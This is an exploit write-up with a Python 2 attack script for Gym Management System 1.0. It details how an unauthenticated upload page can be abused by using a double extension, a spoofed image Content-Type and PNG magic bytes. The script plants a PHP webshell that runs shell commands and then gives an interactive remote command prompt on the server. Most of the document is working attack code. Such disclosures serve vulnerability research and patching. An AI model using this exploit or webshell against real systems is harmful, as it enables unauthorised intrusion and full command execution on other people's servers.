Gym Management System 1.0 – Unauthenticated Remote Code Execution

# Exploit Title: Gym Management System 1.0 - Unauthenticated Remote Code Execution

# Exploit Author: Bobby Cooke

# Date: 2020-05-21

# Vendor Homepage: https://projectworlds.in/

# Software Link: https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/

# Version: 1.0

# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4

# Exploit Tested Using: Python 2.7.17

# Vulnerability Description:

# Gym Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.

# Exploit Details:

# 1. Access the '/upload.php' page, as it does not check for an authenticated user session.

# 2. Set the 'id' parameter of the GET request to the desired file name for the uploaded PHP file.

# - `upload.php?id=kamehameha`

# /upload.php:

# 4 $user = $_GET['id'];

# 34 move_uploaded_file($_FILES["file"]["tmp_name"],

# 35 "upload/". $user.".".$ext);

# 3. Bypass the extension whitelist by adding a double extension, with the last one as an acceptable extension (png).

# /upload.php:

# 5 $allowedExts = array("jpg", "jpeg", "gif", "png","JPG");

# 6 $extension = @end(explode(".", $_FILES["file"]["name"]));

# 14 && in_array($extension, $allowedExts))

# 4. Bypass the file type check by modifying the 'Content-Type' of the 'file' parameter to 'image/png' in the POST request, and set the 'pupload' paramter to 'upload'.

# 7 if(isset($_POST['pupload'])){

# 8 if ((($_FILES["file"]["type"] == "image/gif")

# 11 || ($_FILES["file"]["type"] == "image/png")

# 5. In the body of the 'file' parameter of the POST request, insert the malicious PHP code:

# <?php echo shell_exec($_GET["telepathy"]); ?>

# 6. The Web Application will rename the file to have the extension with the second item in an array created from the file name; seperated by the '.' character.

# 30 $pic=$_FILES["file"]["name"];

# 31 $conv=explode(".",$pic);

# 32 $ext=$conv['1'];

# - Our uploaded file name was 'kaio-ken.php.png'. Therefor $conv['0']='kaio-ken'; $conv['1']='php'; $conv['2']='png';

# 7. Communicate with the webshell at '/upload.php?id=kamehameha' using GET Requests with the telepathy parameter.

import requests, sys, urllib, re

from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def webshell(SERVER_URL, session):

try:

WEB_SHELL = SERVER_URL+'upload/kamehameha.php'

getdir = {'telepathy': 'echo %CD%'}

r2 = session.get(WEB_SHELL, params=getdir, verify=False)

status = r2.status_code

if status != 200:

print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL

r2.raise_for_status()

print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')

cwd = re.findall('[CDEF].*', r2.text)

cwd = cwd[0]+"> "

term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET

while True:

thought = raw_input(term)

command = {'telepathy': thought}

r2 = requests.get(WEB_SHELL, params=command, verify=False)

status = r2.status_code

if status != 200:

r2.raise_for_status()

response2 = r2.text

print(response2)

except:

print("\r\nExiting.")

sys.exit(-1)

def formatHelp(STRING):

return Style.BRIGHT+Fore.RED+STRING+Fore.RESET

def header():

BL = Style.BRIGHT+Fore.GREEN

RS = Style.RESET_ALL

FR = Fore.RESET

SIG = BL+' /\\\n'+RS

SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'

SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'

SIG += BL+' \/'+RS+'\n'

return SIG

if __name__ == "__main__":

print header();

if len(sys.argv) != 2:

print formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0])

print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0])

sys.exit(-1)

SERVER_URL = sys.argv[1]

UPLOAD_DIR = 'upload.php?id=kamehameha'

UPLOAD_URL = SERVER_URL + UPLOAD_DIR

s = requests.Session()

s.get(SERVER_URL, verify=False)

PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'

png = {

'file':

(

'kaio-ken.php.png',

PNG_magicBytes+'\n'+'<?php echo shell_exec($_GET["telepathy"]); ?>',

'image/png',

{'Content-Disposition': 'form-data'}

)

}

fdata = {'pupload': 'upload'}

r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)

webshell(SERVER_URL, s)

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